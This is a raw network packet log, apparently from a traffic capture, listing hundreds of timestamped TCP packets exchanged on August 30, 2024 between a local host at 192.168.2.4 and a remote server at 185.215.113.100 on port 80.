Aug 30, 2024 18:18:00.228879929 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.228904963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.229429960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.229469061 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.229559898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.229569912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.229593992 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.229600906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.229618073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.229645967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231044054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231100082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231120110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231128931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231165886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231420040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231429100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231450081 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231458902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231482029 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231534958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231544971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231554031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231576920 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231610060 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231913090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231923103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.231956959 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.231972933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234147072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234193087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234322071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234330893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234361887 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234370947 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234491110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234499931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234503984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234515905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234527111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234550953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234580040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234872103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234882116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.234910965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.234925985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.235116005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235124111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235132933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235141993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235151052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235160112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235161066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.235168934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235179901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235196114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.235218048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.235835075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235845089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235852957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235862017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235869884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235877991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.235877991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.235917091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.235929966 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.236499071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236507893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236517906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236526966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236534119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.236536980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236548901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.236582041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.236865997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236875057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236884117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.236912012 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.236942053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237030029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237040043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237050056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237078905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237104893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237293959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237303972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237312078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237319946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237329006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237349987 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237381935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237863064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237871885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237879992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237889051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237896919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237906933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237915039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237917900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237926006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237934113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237943888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.237943888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237967968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.237982988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.238687992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.238698006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.238707066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.238715887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.238724947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.238734007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.238738060 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.238775969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.238801003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239137888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239147902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239156008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239165068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239172935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239182949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239190102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239224911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239764929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239774942 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239783049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239790916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239800930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239809036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239814997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239818096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239826918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239834070 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239835978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239844084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239852905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239856005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239865065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.239877939 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.239902020 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.240688086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.240699053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.240705967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.240731001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.240757942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.240787029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.240798950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.240833044 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.241151094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241159916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241168976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241178036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241188049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241195917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241198063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.241204023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241218090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.241240978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.241259098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.241580009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241590023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241599083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.241627932 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.241651058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.255894899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.255903959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.255959034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.255985022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256026030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.256061077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256072044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256079912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256108999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.256139994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.256377935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256386995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256395102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256406069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256431103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.256465912 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.256776094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256784916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256793976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256802082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.256825924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.256850004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.316581964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316629887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316638947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316685915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.316714048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.316766024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316811085 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.316837072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316847086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316855907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.316889048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.316910028 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.317176104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317184925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317193031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317200899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317224979 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.317248106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.317431927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317441940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317450047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317457914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.317485094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.317506075 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.323407888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323457956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323467016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323492050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.323539019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.323601961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323654890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.323685884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323735952 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.323772907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323782921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323791027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.323817968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.323839903 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.329605103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329658985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.329667091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329678059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329715967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.329873085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329883099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329927921 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.329929113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329940081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.329987049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330059052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330069065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330076933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330113888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330122948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330193996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330249071 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330270052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330280066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330287933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330296040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330324888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330336094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330826044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330868006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330876112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330878019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.330909967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.330919981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.331069946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331079006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331091881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331100941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331110001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331124067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.331151962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.331413031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331423044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331432104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331461906 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.331474066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.331557035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331567049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331574917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331583023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.331607103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.331630945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.332520008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332568884 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.332576990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332587004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332616091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.332633972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.332750082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332758904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332767963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332776070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.332801104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.332827091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333029985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333039999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333048105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333080053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333091974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333101988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333103895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333110094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333120108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333127975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333139896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333159924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333168983 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333810091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333820105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333830118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333839893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333849907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333859921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333862066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333872080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.333882093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.333909988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.334100008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334109068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334119081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334131002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334140062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334150076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334156036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.334160089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334172964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.334187984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.334216118 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.334446907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.334495068 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.377640963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.377670050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.377677917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.377782106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.377811909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.377823114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.377846956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.377856016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.377886057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378370047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378388882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.378410101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378427029 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.378444910 CEST	80	49730	185.215.113.100	192.168.2.4
